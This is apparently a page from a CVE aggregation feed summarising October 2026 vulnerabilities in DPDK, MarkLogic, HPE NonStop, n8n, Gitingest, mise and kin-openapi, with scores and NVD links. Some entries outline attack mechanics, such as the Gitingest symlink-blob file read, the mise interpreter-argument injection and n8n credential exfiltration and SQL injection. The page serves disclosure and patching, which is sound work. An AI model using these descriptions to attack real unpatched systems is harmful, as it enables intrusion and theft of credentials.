### A flaw was found in DPDK lib/vhost. A TOCTOU double-fetch of control-queue descriptors allows a heap buffer overflow with attacker-controlled content in the VDUSE control-queue...
https://kevwire.com/record/CVE-2026-86562
A flaw was found in DPDK lib/vhost. A TOCTOU double-fetch of control-queue descriptors allows a heap buffer overflow with attacker-controlled content in the VDUSE control-queue... (Oct 14, 2026).
A flaw was found in DPDK lib/vhost. A TOCTOU double-fetch of control-queue descriptors allows a heap buffer overflow with attacker-controlled content in the VDUSE control-queue handler.
CVSS 7.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-86562).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-86562&date=2026-10-25).
Sources:
NVD CVE-2026-86562: https://nvd.nist.gov/vuln/detail/CVE-2026-86562
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-86562&date=2026-10-25
A flaw was found in DPDK lib/vhost. A TOCTOU double-fetch of control-queue descriptors allows a heap buffer overflow with attacker-controlled content in the VDUSE control-queue handler.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 may use cleartext transport for Amazon S3 connections by default.
https://kevwire.com/record/CVE-2026-85975
Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 may use cleartext transport for Amazon S3 connections by default. (Oct 12, 2026).
Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 may use cleartext transport for Amazon S3 connections by default. A network-positioned attacker could intercept data or credentials transmitted through an affected connection.
CVSS 7.5 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85975).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85975&date=2026-10-25).
Sources:
NVD CVE-2026-85975: https://nvd.nist.gov/vuln/detail/CVE-2026-85975
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85975&date=2026-10-25
Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 may use cleartext transport for Amazon S3 connections by default. A network-positioned attacker could intercept data or credentials transmitted through an affected connection.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 do not sufficiently restrict access to certain security-sensitive information.
https://kevwire.com/record/CVE-2026-85966
Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 do not sufficiently restrict access to certain security-sensitive information. (Oct 12, 2026).
Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 do not sufficiently restrict access to certain security-sensitive information. A remote authenticated attacker with limited management permissions could obtain this information, which could result in unauthorized access to protected resources.
CVSS 7.7 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85966).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85966&date=2026-10-25).
Sources:
NVD CVE-2026-85966: https://nvd.nist.gov/vuln/detail/CVE-2026-85966
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85966&date=2026-10-25
Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 do not sufficiently restrict access to certain security-sensitive information. A remote authenticated attacker with limited management permissions could obtain this information, which could result in unauthorized access to protected resources.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 contain memory-safety defects in the JavaScript engine integration that could result in...
https://kevwire.com/record/CVE-2026-85965
Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 contain memory-safety defects in the JavaScript engine integration that could result in... (Oct 12, 2026).
Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 contain memory-safety defects in the JavaScript engine integration that could result in memory corruption, controlled process failure, or server instability.
CVSS 8.0 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85965).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85965&date=2026-10-25).
Sources:
NVD CVE-2026-85965: https://nvd.nist.gov/vuln/detail/CVE-2026-85965
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85965&date=2026-10-25
Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 contain memory-safety defects in the JavaScript engine integration that could result in memory corruption, controlled process failure, or server instability.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 allow an authenticated Query Console user to supply unsafe path values to a privileged...
https://kevwire.com/record/CVE-2026-85964
Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 allow an authenticated Query Console user to supply unsafe path values to a privileged... (Oct 12, 2026).
Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 allow an authenticated Query Console user to supply unsafe path values to a privileged filesystem helper, which could result in disclosure of arbitrary server files.
CVSS 7.7 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85964).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85964&date=2026-10-25).
Sources:
NVD CVE-2026-85964: https://nvd.nist.gov/vuln/detail/CVE-2026-85964
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85964&date=2026-10-25
Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 allow an authenticated Query Console user to supply unsafe path values to a privileged filesystem helper, which could result in disclosure of arbitrary server files.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 include deprecated OpsDirector functionality with weaknesses that could allow an...
https://kevwire.com/record/CVE-2026-85963
Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 include deprecated OpsDirector functionality with weaknesses that could allow an... (Oct 12, 2026).
Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 include deprecated OpsDirector functionality with weaknesses that could allow an unauthenticated remote attacker to make unauthorized requests to internal services or forge trusted requests, potentially resulting in unauthorized access to protected information.
CVSS 7.5 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85963).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85963&date=2026-10-25).
Sources:
NVD CVE-2026-85963: https://nvd.nist.gov/vuln/detail/CVE-2026-85963
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85963&date=2026-10-25
Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 include deprecated OpsDirector functionality with weaknesses that could allow an unauthenticated remote attacker to make unauthorized requests to internal services or forge trusted requests, potentially resulting in unauthorized access to protected information.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 contain an improper authentication vulnerability in SAML processing.
https://kevwire.com/record/CVE-2026-85962
Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 contain an improper authentication vulnerability in SAML processing. (Oct 12, 2026).
Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 contain an improper authentication vulnerability in SAML processing. In deployments that use SAML authentication, an unauthenticated remote attacker could cause the affected server to accept an assertion that should be rejected, potentially resulting in unauthorized access.
CVSS 7.5 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85962).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85962&date=2026-10-25).
Sources:
NVD CVE-2026-85962: https://nvd.nist.gov/vuln/detail/CVE-2026-85962
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85962&date=2026-10-25
Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 contain an improper authentication vulnerability in SAML processing. In deployments that use SAML authentication, an unauthenticated remote attacker could cause the affected server to accept an assertion that should be rejected, potentially resulting in unauthorized access.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### On Azure deployments, Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 may record security-sensitive authentication information in diagnostic...
https://kevwire.com/record/CVE-2026-85961
On Azure deployments, Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 may record security-sensitive authentication information in diagnostic... (Oct 12, 2026).
On Azure deployments, Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 may record security-sensitive authentication information in diagnostic logs under certain configurations. An attacker with access to the affected logs could use this information to obtain unauthorized access to protected cloud resources.
CVSS 7.5 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85961).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85961&date=2026-10-25).
Sources:
NVD CVE-2026-85961: https://nvd.nist.gov/vuln/detail/CVE-2026-85961
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85961&date=2026-10-25
On Azure deployments, Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 may record security-sensitive authentication information in diagnostic logs under certain configurations. An attacker with access to the affected logs could use this information to obtain unauthorized access to protected cloud resources.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 do not consistently record successful authentication events in audit logs, which could limit...
https://kevwire.com/record/CVE-2026-85959
Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 do not consistently record successful authentication events in audit logs, which could limit... (Oct 12, 2026).
Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 do not consistently record successful authentication events in audit logs, which could limit customers' ability to detect and investigate unauthorized access or credential misuse.
CVSS 7.5 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85959).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85959&date=2026-10-25).
Sources:
NVD CVE-2026-85959: https://nvd.nist.gov/vuln/detail/CVE-2026-85959
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85959&date=2026-10-25
Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 do not consistently record successful authentication events in audit logs, which could limit customers' ability to detect and investigate unauthorized access or credential misuse.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 contain an authentication validation weakness that could allow an attacker to use a token...
https://kevwire.com/record/CVE-2026-85958
Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 contain an authentication validation weakness that could allow an attacker to use a token... (Oct 12, 2026).
Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 contain an authentication validation weakness that could allow an attacker to use a token that should not be accepted by the affected server, which could result in unauthorized access.
CVSS 7.5 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85958).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85958&date=2026-10-25).
Sources:
NVD CVE-2026-85958: https://nvd.nist.gov/vuln/detail/CVE-2026-85958
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85958&date=2026-10-25
Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 contain an authentication validation weakness that could allow an attacker to use a token that should not be accepted by the affected server, which could result in unauthorized access.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 contain privileged legacy InfoStudio modules that do not sufficiently validate...
https://kevwire.com/record/CVE-2026-85953
Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 contain privileged legacy InfoStudio modules that do not sufficiently validate... (Oct 12, 2026).
Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 contain privileged legacy InfoStudio modules that do not sufficiently validate user-controlled file paths and user-context values. Exploitation could result in unauthorized access to server files or execution under an unintended identity.
CVSS 8.5 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85953).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85953&date=2026-10-25).
Sources:
NVD CVE-2026-85953: https://nvd.nist.gov/vuln/detail/CVE-2026-85953
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85953&date=2026-10-25
Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 contain privileged legacy InfoStudio modules that do not sufficiently validate user-controlled file paths and user-context values. Exploitation could result in unauthorized access to server files or execution under an unintended identity.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A buffer overflow vulnerability in HPE NonStop XABroker may cause memory corruption, resulting in application crash.
https://kevwire.com/record/CVE-2026-79840
A buffer overflow vulnerability in HPE NonStop XABroker may cause memory corruption, resulting in application crash. (Oct 15, 2026).
A buffer overflow vulnerability in HPE NonStop XABroker may cause memory corruption, resulting in application crash.
CVSS 7.3 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79840).
EPSS <0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79840&date=2026-10-25).
Sources:
NVD CVE-2026-79840: https://nvd.nist.gov/vuln/detail/CVE-2026-79840
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79840&date=2026-10-25
A buffer overflow vulnerability in HPE NonStop XABroker may cause memory corruption, resulting in application crash.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A buffer overflow vulnerability in HPE NonStop ODBC/MX Server may cause memory corruption, resulting in application crash.
https://kevwire.com/record/CVE-2026-79839
A buffer overflow vulnerability in HPE NonStop ODBC/MX Server may cause memory corruption, resulting in application crash. (Oct 15, 2026).
A buffer overflow vulnerability in HPE NonStop ODBC/MX Server may cause memory corruption, resulting in application crash.
CVSS 7.3 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79839).
EPSS <0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79839&date=2026-10-25).
Sources:
NVD CVE-2026-79839: https://nvd.nist.gov/vuln/detail/CVE-2026-79839
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79839&date=2026-10-25
A buffer overflow vulnerability in HPE NonStop ODBC/MX Server may cause memory corruption, resulting in application crash.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A buffer overflow vulnerability in HPE NonStop ODBC/MX Services may cause memory corruption, resulting in application crash.
https://kevwire.com/record/CVE-2026-79838
A buffer overflow vulnerability in HPE NonStop ODBC/MX Services may cause memory corruption, resulting in application crash. (Oct 15, 2026).
A buffer overflow vulnerability in HPE NonStop ODBC/MX Services may cause memory corruption, resulting in application crash.
CVSS 7.3 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79838).
EPSS <0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79838&date=2026-10-25).
Sources:
NVD CVE-2026-79838: https://nvd.nist.gov/vuln/detail/CVE-2026-79838
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79838&date=2026-10-25
A buffer overflow vulnerability in HPE NonStop ODBC/MX Services may cause memory corruption, resulting in application crash.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### n8n before 2.41.4 and 2.42.0 before 2.42.1 does not validate credential ids stored in agent node parameters when an editor saves a shared workflow, because the check inspects only...
https://kevwire.com/record/CVE-2026-110850
n8n before 2.41.4 and 2.42.0 before 2.42.1 does not validate credential ids stored in agent node parameters when an editor saves a shared workflow, because the check inspects only... (Oct 14, 2026).
n8n before 2.41.4 and 2.42.0 before 2.42.1 does not validate credential ids stored in agent node parameters when an editor saves a shared workflow, because the check inspects only a node's credentials field. An editor can configure a Message an Agent node in inline mode with tools they control to resolve the owner's credentials and send decrypted secrets to an attacker-chosen destination.
CVSS 7.2 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110850).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110850&date=2026-10-25).
Sources:
NVD CVE-2026-110850: https://nvd.nist.gov/vuln/detail/CVE-2026-110850
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110850&date=2026-10-25
n8n before 2.41.4 and 2.42.0 before 2.42.1 does not validate credential ids stored in agent node parameters when an editor saves a shared workflow, because the check inspects only a node's credentials field. An editor can configure a Message an Agent node in inline mode with tools they control to resolve the owner's credentials and send decrypted secrets to an attacker-chosen destination.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### n8n before 2.41.4 and 2.42.x before 2.42.1 contains an SQL injection vulnerability in version 1 of the Microsoft SQL node, which substitutes Query field expression values directly...
https://kevwire.com/record/CVE-2026-110840
n8n before 2.41.4 and 2.42.x before 2.42.1 contains an SQL injection vulnerability in version 1 of the Microsoft SQL node, which substitutes Query field expression values directly... (Oct 14, 2026).
n8n before 2.41.4 and 2.42.x before 2.42.1 contains an SQL injection vulnerability in version 1 of the Microsoft SQL node, which substitutes Query field expression values directly into SQL text without parameterisation. When a workflow binds untrusted input such as webhook fields to the Query field, unauthenticated external callers can execute arbitrary SQL against the connected database with the stored credential's privileges.
CVSS 7.0 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110840).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110840&date=2026-10-25).
Sources:
NVD CVE-2026-110840: https://nvd.nist.gov/vuln/detail/CVE-2026-110840
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110840&date=2026-10-25
n8n before 2.41.4 and 2.42.x before 2.42.1 contains an SQL injection vulnerability in version 1 of the Microsoft SQL node, which substitutes Query field expression values directly into SQL text without parameterisation. When a workflow binds untrusted input such as webhook fields to the Query field, unauthenticated external callers can execute arbitrary SQL against the connected database with the stored credential's privileges.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Gitingest through 0.3.1 contains a symlink following vulnerability in ingest_query single-file blob ingestion that allows unauthenticated attackers to read server files by...
https://kevwire.com/record/CVE-2026-110767
Gitingest through 0.3.1 contains a symlink following vulnerability in ingest_query single-file blob ingestion that allows unauthenticated attackers to read server files by... (Oct 14, 2026).
Gitingest through 0.3.1 contains a symlink following vulnerability in ingest_query single-file blob ingestion that allows unauthenticated attackers to read server files by submitting symlink blob URLs. Attackers can commit a symlink to a public repository and submit its blob URL, causing the server to return any file the service user can read, up to 10 MB.
CVSS 8.7 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110767).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110767&date=2026-10-25).
Sources:
NVD CVE-2026-110767: https://nvd.nist.gov/vuln/detail/CVE-2026-110767
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110767&date=2026-10-25
Gitingest through 0.3.1 contains a symlink following vulnerability in ingest_query single-file blob ingestion that allows unauthenticated attackers to read server files by submitting symlink blob URLs. Attackers can commit a symlink to a public repository and submit its blob URL, causing the server to return any file the service user can read, up to 10 MB.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### mise manages dev tools like node, python, cmake, and terraform.
https://kevwire.com/record/CVE-2026-103929
mise manages dev tools like node, python, cmake, and terraform. (Oct 14, 2026).
mise manages dev tools like node, python, cmake, and terraform. Prior to 2026.7.14, in the default non-safe mode, mise loads .mise.toml [settings] from an untrusted local project before trust approval and strip_local_only_settings removes only fields marked global_only. The unix_default_file_shell_args, unix_default_inline_shell_args, windows_default_file_shell_args, and windows_default_inline_shell_args settings were not marked global_only, allowing a repository to replace the default interpreter arguments used by trusted tasks that have no explicit shell, postinstall directives, template exec operations, or hooks that fall back to the default shell. When mise appends the trusted command after the attacker-controlled interpreter arguments, the attacker-selected command can execute first with the developer account's privileges even though the local configuration was never trusted. The separate path-sanitization hardening note in the advisory is outside this vulnerability. This issue is fixed in version 2026.7.14.
CVSS 7.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103929).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103929&date=2026-10-25).
Sources:
NVD CVE-2026-103929: https://nvd.nist.gov/vuln/detail/CVE-2026-103929
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103929&date=2026-10-25
mise manages dev tools like node, python, cmake, and terraform. Prior to 2026.7.14, in the default non-safe mode, mise loads .mise.toml [settings] from an untrusted local project before trust approval and strip_local_only_settings removes only fields marked global_only. The unix_default_file_shell_args, unix_default_inline_shell_args, windows_default_file_shell_args, and windows_default_inline_shell_args settings were not marked global_only, allowing a repository to replace the default interpreter arguments used by trusted tasks that have no explicit shell, postinstall directives, template exec operations, or hooks that fall back to the default shell. When mise appends the trusted command after the attacker-controlled interpreter arguments, the attacker-selected command can execute first with the developer account's privileges even though the local configuration was never trusted. The separate path-sanitization hardening note in the advisory is outside this vulnerability. This issue is fixed in version 2026.7.14.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### kin-openapi is a Go project for handling OpenAPI files.
https://kevwire.com/record/CVE-2026-100354
kin-openapi is a Go project for handling OpenAPI files. (Oct 15, 2026).
kin-openapi is a Go project for handling OpenAPI files. Prior to 0.149.0, runtime request, response, and direct schema validation lacks cycle detection when an allOf, anyOf, or oneOf chain refers back to an ancestor schema, even though loading and document validation accept the circular reference. A request or response that reaches the affected schema causes unbounded recursion in Schema.visitJSON or openapi3filter.decodeValue and exhausts the Go goroutine stack. The resulting fatal stack overflow cannot be caught with recover and terminates the entire process, including unrelated requests. This issue is fixed in version 0.149.0.
CVSS 7.5 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-100354).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-100354&date=2026-10-25).
Sources:
NVD CVE-2026-100354: https://nvd.nist.gov/vuln/detail/CVE-2026-100354
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-100354&date=2026-10-25
